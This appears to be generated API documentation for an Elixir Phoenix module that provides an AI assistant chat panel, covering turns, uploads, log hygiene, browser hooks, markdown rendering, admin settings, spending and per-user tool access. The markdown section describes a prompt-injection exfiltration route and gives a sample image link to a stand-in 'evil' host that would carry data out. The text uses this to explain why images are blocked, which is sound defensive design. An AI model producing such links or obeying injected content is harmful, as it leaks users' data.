passes the request on over PubSub while the chat's lock is within its
time); nothing answers it but the turn's end, so when that has not come
within the grace period and one more check of the lock, the panel says the
answer has not stopped and offers "Stop" again (a turn lost with its node
frees the chat when its lock expires). When Turns.stop/4 finds no such
turn, the chat's lock says what to show. The indicator says whether the model thinks or a
tool is called; in the browser it gives up after the deadline of a turn and
its grace period (Monitor.stop_grace_ms/0), counted again for each turn
and after a lost connection is found again.
The indicator follows the server only: while a turn is shown as running,
the panel reads the chat's lock again every :turn_check_ms (application
environment, default 5 s), so a turn whose end never reached it — it came
between the read of the chat and the subscription, or was lost between
nodes — is let go of, with the messages it left.
Files come through allow_upload (the kinds and the size of §9, the number
of the user's settings) and are handed to Attachments.add/4 with the path
of LiveView's own temporary file (consume_uploaded_entry/3, kept until
add/4 is done, which runs off this process); the row is read again after
add/4 (it may be settled already) and shown only while its chat is the
one open, and a failed one can be removed. An
upload can be cancelled while it is on its way, not once add/4 has it; a
cancel of an entry that is not there changes nothing. An exception in
add/4 is caught in its task and logged as its class only.
In the browser
The panel opens with the class pk-dock-open on <body>
(PhoenixKitWeb.Components.AdminDock), which survives a live redirect. Open
or closed, the chosen chat and the width are kept in localStorage by the
.DockState hook and restored (restore) when the panel mounts again
(another live_session, a reload) and when it joins again after a lost
connection, which mounts the LiveView afresh; the turn shown then is the
one the chat's lock holds now, and every restore patches the whole panel,
so nothing the browser kept from before the connection was lost stays. A
panel kept closed reads
nothing until a chat is opened; a remembered chat that is not the user's
active one any more is forgotten. The list opens from a focusable div
(Safari does not focus a clicked <button>, and the list is open while it
has the focus); choosing a chat moves the focus to the panel, "New chat" to
the input, so the list closes. The markup and the hooks are in
PhoenixKitAgent.Web.Dock.Panel; the hooks are runtime colocated hooks, so
the host bundles nothing for them, but they are inline scripts: under a
Content-Security-Policy the page needs script-src 'unsafe-inline' (they
carry no nonce). The text being written stays the browser's
(phx-update="ignore"), so no re-render wipes it, and goes to the server
only with the form (phx-debounce="blur").
The tools get the user's locale, the endpoint's URL and, when the host's
socket passes :peer_data / :x_headers in its connect_info, the client
address as their request context.
Nothing in the log
log: false: LiveView would log every event with its parameters — the
user's text. No text of a message, an answer or a file name is logged here.
An exception in an event, a message of the chat, an upload's progress or a
finished task is caught (guarded/2), logged as its class only, and shown
as a notice: a crash report would hold the event's parameters (the draft)
and the whole state (the chats, the feed). Not covered: a crash in mount
or in render still ends the LiveView with such a report.
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The pieces of the chat panel (PhoenixKitAgent.Web.Dock): one message of
the feed, a confirmation card and a file waiting for a message.
A message comes as PhoenixKitAgent.Conversations hands it to a client: a
tool call has only its summary (tool_summary: the tool's name, the
outcome, how many it found, whether it was cut), never what the tool
returned, and the panel shows no more than that. A model answer is
markdown, shown by PhoenixKitAgent.Web.Markdown (no outside pictures, no
raw HTML, links with their domain).
A confirmation card (a tool message with its card,
PhoenixKitAgent.Confirmations.cards/4) shows core's preview through
core's operation_preview component and the arguments the model sent as
plain text: every value is escaped by HEEx, nothing of it is markdown or a
link.

      


      
        Summary


  
    Functions
  


    
      
        attachment_chip(assigns)

      


        A file of the chat that waits for a message.



    


    
      
        chat_time(assigns)

      


        When a chat was last written to, for the list of chats: how long ago in the
user's language, and the moment itself (site time zone) as the tooltip.



    


    
      
        confirmation_card(assigns)

      


        A write that waits for the user's confirmation, or what became of it: the
preview core holds for it and the arguments the model sent while it waits,
with "Run" and "Cancel the change"; "Ask again" once it ran out.



    


    
      
        feed_message(assigns)

      


        One message of the feed.



    





      


      
        Functions


        


  
    
      
    
    
      attachment_chip(assigns)



        
          
        

    

  


  

A file of the chat that waits for a message.
Attributes
	attachment (PhoenixKitAgent.Schemas.Attachment) (required)


  



  
    
      
    
    
      chat_time(assigns)



        
          
        

    

  


  

When a chat was last written to, for the list of chats: how long ago in the
user's language, and the moment itself (site time zone) as the tooltip.
Rendered by the server only. Core's time_ago would do the same job, but
its TimeAgo hook rewrites the text in English in the browser, and its
tooltip is an English date.
Attributes
	id (:string) (required)
	datetime (DateTime) - Defaults to nil.


  



  
    
      
    
    
      confirmation_card(assigns)



        
          
        

    

  


  

A write that waits for the user's confirmation, or what became of it: the
preview core holds for it and the arguments the model sent while it waits,
with "Run" and "Cancel the change"; "Ask again" once it ran out.
Attributes
	id (:string) (required)
	message (PhoenixKitAgent.Schemas.Message) (required)
	card (:map) (required)


  



  
    
      
    
    
      feed_message(assigns)



        
          
        

    

  


  

One message of the feed.
Attributes
	id (:string) (required)
	message (PhoenixKitAgent.Schemas.Message) (required)
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The markup of the chat panel (PhoenixKitAgent.Web.Dock) and its browser
hooks: the button with the list of chats, and the panel with the feed, the
indicator and the composer. The LiveView holds the state and the events;
this module only draws them.
The hooks are runtime colocated hooks (the host bundles nothing for them),
and live here because a colocated hook is named after the module that
renders the element using it. They run from inline <script> elements, so
under a Content-Security-Policy the page must allow script-src 'unsafe-inline'; the scripts carry no nonce. Without them the panel shows,
but forgets its state, does not resize, and Enter does not send:
	.DockState — keeps the panel open or closed, the chosen chat and the
width in localStorage, and tells the LiveView on mount and when it
joins again after a lost connection (restore): a re-join mounts the
LiveView afresh, while the hook's element stays and gets no mounted;
	.Feed — keeps the feed scrolled to its end while the user is there;
	.Composer — Enter sends, the page's path goes with the form, the text
is cleared once the turn started (pk-agent:sent). The textarea is
phx-update="ignore": the browser owns the draft, so a re-render (a
file uploading, a message arriving) never wipes it;
	.Waiting — the indicator gives up after the deadline of a turn and
its grace period, counted again for each turn (data-turn) and after a
lost connection is found again (reconnected).


      


      
        Summary


  
    Functions
  


    
      
        dock(assigns)

      


        The button, the list of chats and the panel.



    





      


      
        Functions


        


  
    
      
    
    
      dock(assigns)



        
          
        

    

  


  

The button, the list of chats and the panel.
Attributes
	user_uuid (:string) (required)
	chats (:list) (required)
	next_cursor (:any) (required)
	renaming (:string) - Defaults to nil.
	conversation (:any) (required)
	messages (:any) (required) - the :messages stream.
	pinned (:list) - the waiting cards of the chat older than the page in the feed. Defaults to [].
	earlier? (:boolean) (required)
	activity (:any) (required)
	timeout_ms (:integer) (required)
	turn_ref (:string) - Defaults to nil.
	restored (:integer) - how many times the browser restored the panel. Defaults to 0.
	error (:string) - Defaults to nil.
	instructions_form (:any) - Defaults to nil.
	unsent (:list) (required)
	upload (:any) (required) - @uploads.files.
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What the chat panel (PhoenixKitAgent.Web.Dock) tells a person instead of a
code: the refusals of PhoenixKitAgent.Conversations,
PhoenixKitAgent.Turns and PhoenixKitAgent.Attachments, the codes of a
failed attachment (PhoenixKitAgent.Attachments.Processor), the notices of
a turn (stored in English, shown by their code), the states and refusals of
a confirmation card (PhoenixKitAgent.Confirmations) and the upload errors
of LiveView. A code this module does not know gets a general text, never
the code itself.

      


      
        Summary


  
    Functions
  


    
      
        attachment_error(code)

      


        The text for the error code of a failed attachment.



    


    
      
        card_outcome(arg1)

      


        The line of the notice that settles a confirmation card, by its outcome.



    


    
      
        card_refusal(reason)

      


        The text for a click on a confirmation card that did nothing (the card keeps
waiting): the refusals of PhoenixKitAgent.Confirmations, {:refused, code} with the executor's code among them.



    


    
      
        card_title(arg1)

      


        The heading of a confirmation card in its state.



    


    
      
        notice(code)

      


        The text of a notice in the feed by its error code, in the panel's
language, or nil for a code whose stored text says more than the code (a
model error, which also tells whether the files were taken off the
message): that one is shown as it was written.



    


    
      
        notice(code, content)

      


        The feed's notice text, including the two fixed model-error texts whose
shared error code does not say whether the pictures were taken off the
message. Older stored notices are translated too; other text stays as stored.



    


    
      
        refusal(reason)

      


        The text for a refusal of a call the panel made.



    


    
      
        upload_error(arg1)

      


        The text for an error of a LiveView upload entry.



    





      


      
        Functions


        


  
    
      
    
    
      attachment_error(code)



        
          
        

    

  


  

      

          @spec attachment_error(String.t() | nil) :: String.t()


      


The text for the error code of a failed attachment.

  



  
    
      
    
    
      card_outcome(arg1)



        
          
        

    

  


  

      

          @spec card_outcome(String.t()) :: String.t()


      


The line of the notice that settles a confirmation card, by its outcome.

  



  
    
      
    
    
      card_refusal(reason)



        
          
        

    

  


  

      

          @spec card_refusal(term()) :: String.t()


      


The text for a click on a confirmation card that did nothing (the card keeps
waiting): the refusals of PhoenixKitAgent.Confirmations, {:refused, code} with the executor's code among them.

  



  
    
      
    
    
      card_title(arg1)



        
          
        

    

  


  

      

          @spec card_title(String.t()) :: String.t()


      


The heading of a confirmation card in its state.

  



  
    
      
    
    
      notice(code)



        
          
        

    

  


  

      

          @spec notice(String.t() | nil) :: String.t() | nil


      


The text of a notice in the feed by its error code, in the panel's
language, or nil for a code whose stored text says more than the code (a
model error, which also tells whether the files were taken off the
message): that one is shown as it was written.

  



  
    
      
    
    
      notice(code, content)



        
          
        

    

  


  

      

          @spec notice(String.t() | nil, String.t() | nil) :: String.t() | nil


      


The feed's notice text, including the two fixed model-error texts whose
shared error code does not say whether the pictures were taken off the
message. Older stored notices are translated too; other text stays as stored.

  



  
    
      
    
    
      refusal(reason)



        
          
        

    

  


  

      

          @spec refusal(term()) :: String.t()


      


The text for a refusal of a call the panel made.

  



  
    
      
    
    
      upload_error(arg1)



        
          
        

    

  


  

      

          @spec upload_error(atom()) :: String.t()


      


The text for an error of a LiveView upload entry.
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The markdown of a model answer as the chat panel shows it (spec §8.2): the
text a model wrote may carry what a tool result or a file put in it, so the
page must load nothing because of it.
	No <img>: a picture (![alt](url)) is shown as its alt text — an
outside src would send data out without a click
(![](https://evil/?d=…)). The only pictures the panel shows are the
user's own attachments, through their expiring addresses
(PhoenixKitAgent.Attachments.url/3), never through markdown.
	No raw HTML: it is shown as text.
	A link is an http/https address only (anything else is its text),
opens in a new tab with rel="noopener noreferrer nofollow", and has
its domain written beside it, so a text cannot pass for another site.
Letters beyond ASCII in its path are percent-encoded; a host beyond
ASCII makes no link, its address is written as text beside the link's
text. Nothing is fetched for a link (no preview).

The tree comes from MDEx.parse_document/2 and is written out here, every
text escaped; a node this module does not know is shown by its children or
its text.

      


      
        Summary


  
    Functions
  


    
      
        to_html(text)

      


        The answer text as safe HTML (empty for nil or a blank text).



    





      


      
        Functions


        


  
    
      
    
    
      to_html(text)



        
          
        

    

  


  

      

          @spec to_html(String.t() | nil) :: Phoenix.HTML.safe()


      


The answer text as safe HTML (empty for nil or a blank text).
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PhoenixKitAgent.Web.SettingsLive 
    



      
Settings → AI Agent: the module defaults (PhoenixKitAgent.Config, spec
§5.6, §7) — the model the assistant uses and the one that describes
pictures, the per-user limits a user without settings of their own gets,
the limits of one turn, the module's system prompt and who is told when
someone reaches a limit.
The models are chosen among the AI endpoints that chat
(PhoenixKitAgent.Models.list_endpoints/1); the default model's list marks
the ones known not to take tools, the vision model's the ones known not to
take pictures (both fetched off the page process after it opens). A model
the page did not offer is refused, and Config takes only an existing
endpoint that chats. A newly chosen model must also fit its AI task
(PhoenixKitAI.Tasks.check_selection/2): the default model agent.chat
(tools), the vision model agent.attachment (pictures). One known not to
have what the task needs is refused, and so is one nobody knows about
until an admin marks what it can do on its AI endpoint. The watchers are chosen among the people who hold
agent.manage, the Owners and the watchers there are; nobody chosen means
every Owner. The prompt's change is recorded in the Activity log as a field
name, never its text (Config.put_system_prompt/2); the other values go to
the settings history with who changed them.
Needs agent.manage. The tab is registered under that key; the page checks
it again on mount and before every save, against the socket's scope and
against the scope of the session as it is now — the role it acts as, not the
user's default one (PhoenixKitAgent.Web.Access): a right taken away, a
switch to another role or a logout while the page is open stops the next
save.
Each form is saved on its own; every save checks the permission again.
The last card shows what the assistant can use now, for the role the
viewer's session acts as (PhoenixKitAgent.Web.ToolAvailability): the
modules' read and write tools, available or closed and why. It is read when
the page opens.
When the default model does not report what a call costs
(PhoenixKitAgent.Models.reports_cost?/2), the limits say that money is not
counted for it and only the turn limit applies.
One setting is not for every manager: agent_capture_ai_content (whether the
bodies of the assistant's requests go to the AI journal, where every holder of
ai reads them on /admin/ai/usage) is switched by an Owner only. The check
is Scope.owner?/1 in the save_capture handler, on every event — the tab is
only gated by agent.manage, which an Admin holds — and the switch is not
rendered for anyone else, who sees the state.
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Admin → Agent → Spending: what every user spent on the assistant today and
this month, and how many turns they started today — everyone who used it
this month, also a user who no longer holds agent. Money comes from the AI
request journal (PhoenixKitAgent.Spend, micro-dollars shown as dollars;
only endpoints that report a cost add to it), in the day and month of the
site time zone.
Needs agent.manage: the tab is registered under that key and the page
checks it again on mount (PhoenixKitAgent.Web.Access). It has no events.
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The card "What the assistant can use now" of the admin pages: the admin
tools of every module, the ones that read and the ones that write, as core
shows them for a scope (PhoenixKit.API.Executor.tool_availability/1) —
available, or closed and why. The assistant sees exactly the available ones
(PhoenixKitAgent.Turns.Tools: core's visible_for/3 with allow: :all,
no filter of the module's own), and a write still waits for the user's
confirmation.
Settings → AI Agent shows it for the scope of the viewer's session, the role
it acts as (PhoenixKitAgent.Web.Access.session_scope/1); Users → Configure
for the chosen user by every role they hold (Scope.for_user/2 with
narrow: false), which the role of a session can narrow. Core's list names
every admin tool whatever the scope, so only the pages gated by
agent.manage show it. It is read when the page or the form opens, not on
every render.

      


      
        Summary


  
    Types
  


    
      
        module_tools()

      


        One module and its admin tools, as Executor.tool_availability/1 shows them.



    





  
    Functions
  


    
      
        assistant_tools(assigns)

      


        The card. subject says whose rights the list is by: :session (the
viewer's session, its role) or :user (the chosen user's roles).



    


    
      
        for_scope(scope)

      


        The admin tools for scope, by module, in core's order (module name, then
tool name). No scope (a session that can no longer act): nothing — never
the list by the settings alone, which would show more than such a session
may call.



    





      


      
        Types


        


  
    
      
    
    
      module_tools()



        
          
        

    

  


  

      

          @type module_tools() :: %{
  key: String.t() | nil,
  name: String.t(),
  tools: [PhoenixKit.API.Executor.availability()]
}


      


One module and its admin tools, as Executor.tool_availability/1 shows them.

  


        

      

      
        Functions


        


  
    
      
    
    
      assistant_tools(assigns)



        
          
        

    

  


  

The card. subject says whose rights the list is by: :session (the
viewer's session, its role) or :user (the chosen user's roles).
Attributes
	id (:string) (required)
	modules (:list) (required)
	subject (:atom) (required) - Must be one of :session, or :user.


  



  
    
      
    
    
      for_scope(scope)



        
          
        

    

  


  

      

          @spec for_scope(term()) :: [module_tools()]


      


The admin tools for scope, by module, in core's order (module name, then
tool name). No scope (a session that can no longer act): nothing — never
the list by the settings alone, which would show more than such a session
may call.
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Admin → Agent → Users: the people who hold the agent permission, each with
the model they use, their limits, what they spent today and this month and
whether a limit being hit is reported — and a form to set one user's
settings (the switch, the model, the admin's prompt, the limits, the notice
flag; PhoenixKitAgent.UserConfig.admin_update/4).
Needs agent.manage. The tab is registered under that key; the page checks
it again on mount and on every event that opens or saves a form, against the
socket's scope and the scope of the session as it is now, narrowed to the
role the session acts as (PhoenixKitAgent.Web.Access), and the context
function checks it a third time against that session scope. An Owner's
settings are opened and saved by an Owner only. The user being edited is the
one the server opened the form for — a user in a submit is never read —
and only the fields the form offers are taken from it, so a forged submit
cannot reach the lock columns, the user's own instructions or the notice
list. A model that the form did not offer (one that cannot chat, or does not
exist) is refused, and so is a newly chosen one that does not fit the
agent.chat AI task (PhoenixKitAI.Tasks.check_selection/2): known not
to take tools, or not known to. A save after someone else changed the same user's
settings since the form opened is refused (expected: of
UserConfig.admin_update/4), not written over their change.
A user whose model does not report what a call costs
(PhoenixKitAgent.Models.reports_cost?/2) is marked: money is not counted
for them and only the turn limit applies — in the list, and in the form for
the model chosen there.
Under the open form, what the user's assistant can use now
(PhoenixKitAgent.Web.ToolAvailability): the modules' read and write tools
by every role the user holds, which the role of a session can narrow; read
when the form opens.
Who changed what for whom goes to the core Activity log, field names only.
The model list marks the endpoints whose model is known not to take tools, and
those where that is unknown (PhoenixKitAgent.Models); that listing is
fetched off the page process after the form opens. The page keeps endpoints
as PhoenixKitAgent.Models.summary/1 — never the endpoint row with its key.
A user blocked from the AI guard's free_text group (the assistant and
the AI Playground, PhoenixKitAI.GuardBlocks) is marked, with the
block's reason only for a viewer who may see it (GuardBlocks.active/3
with the session's scope: ai.manage or an Owner). "Lift" calls
PhoenixKitAI.Guard.unblock/3 with that scope for the block the server
finds for the row's user, after agent.manage is checked again; the
guard refuses one's own block and an Owner's (unless the viewer is an
Owner), and the button is shown only where it would not refuse.
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